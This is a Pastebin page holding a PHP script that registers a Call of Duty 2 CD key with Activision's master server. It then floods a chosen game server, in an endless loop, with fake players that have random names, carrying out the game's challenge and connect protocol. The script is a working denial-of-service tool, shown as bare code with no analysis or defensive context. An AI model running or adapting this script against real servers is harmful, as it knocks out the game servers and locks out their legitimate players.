Advertisement
Guest User

Untitled

a guest
Sep 6th, 2010
1,198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.71 KB | None | 0 0
  1. <?php
  2.  
  3.     if (count($_SERVER['argv']) != 4) {
  4.         die ("Error: Must run tool like: file.php server port cdkey\n");
  5.     }
  6.    
  7.     //variables
  8.     $masterserver = "cod2master.activision.com";
  9.     $masterserverport = "20700";
  10.     $server = $argv[1];
  11.     $port = $argv[2];
  12.     $cdkey = $argv[3];
  13.     $cdkeypart = substr($cdkey, 0, 16);
  14.     $pbguid = "123456789abcdef1234567890abcdefa";
  15.     $masterstring = "\xff\xff\xff\xffgetKeyAuthorize 0 " . $cdkeypart . " PB " . $pbguid;
  16.     $serverstring = "\xff\xff\xff\xff" . 'getchallenge 0 "' . $pbguid . '"';
  17.    
  18.     //Send master server the key once. If needed again, it will be sent again automatically
  19.     $udpmaster = fsockopen("udp://" . $masterserver, $masterserverport);
  20.     fwrite($udpmaster, $masterstring);
  21.    
  22.     //start sending fake players, infinite loop
  23.     while(TRUE){
  24.         $fakeplayer = random_letters();
  25.         $udpfirst = fsockopen("udp://" . $server, $port);
  26.         fwrite($udpfirst, $serverstring);
  27.         stream_set_timeout($udpfirst, 1);
  28.         $udpfirstresponse = ''.fread($udpfirst, 1400);
  29.         $udpfirstinfo = stream_get_meta_data($udpfirst);
  30.         if ($udpfirstinfo['timed_out']) {
  31.             echo("T");
  32.             continue;
  33.         }
  34.        
  35.         if(substr($udpfirstresponse, 0, 21) != "\xff\xff\xff\xffchallengeResponse"){
  36.             if(md5($udpfirstresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
  37.                 echo("?");
  38.                 continue;
  39.             }
  40.            
  41.             if($udpfirstresponse == "\xff\xff\xff\xfferror\x0aEXE_ERR_CDKEY_IN_USE"){
  42.                 echo("I");
  43.                 continue;
  44.             }
  45.            
  46.             if($udpfirstresponse == "\xff\xff\xff\xffneedcdkey"){
  47.                 fwrite($udpmaster, $masterstring);
  48.                 echo ("N");
  49.                 continue;
  50.             }
  51.            
  52.             echo "\nUnhandled reply after requesting challenge: " . $udpfirstresponse . "\n";
  53.             continue;
  54.         }
  55.        
  56.         $challenge = substr($udpfirstresponse, 22, 20);
  57.         $connectstring = "";
  58.         $connectstring = ("\xff\xff\xff\xff" . 'connect "\\cg_predictItems\\1\\cl_anonymous\\0\\cl_punkbuster\\1\\cl_voice\\1\\cl_wwwDownload\\1\\rate\\25000\\snaps\\20\\name\\' . $fakeplayer . '\\protocol\\118\\challenge\\' . $challenge . '\\qport\\' . rand(10000, 65534) . '"');
  59.         fwrite($udpfirst, $connectstring);
  60.         $finalresponse = ''.fread($udpfirst, 1400);
  61.         if ($finalresponse != "\xff\xff\xff\xffconnectResponse"){
  62.             if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_SERVERISFULL"){
  63.                 echo("F");
  64.                 continue;
  65.             }
  66.             if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_BAD_CHALLENGE"){
  67.                 echo("C");
  68.                 continue;
  69.             }
  70.             if(md5($finalresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
  71.                 echo("?");
  72.                 continue;
  73.             }
  74.            
  75.             echo ("\nUnhandled reply after sending the connect string: " . $finalresponse . "\n");
  76.             continue;
  77.         }
  78.         echo ".";
  79.     }
  80.    
  81.    
  82. function random_letters($numofletters=8){
  83.     $v="";
  84.     for($i=0;$i<$numofletters;$i++) $v.=chr(rand(65,90));
  85.     return $v;
  86. }
  87.  
  88. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement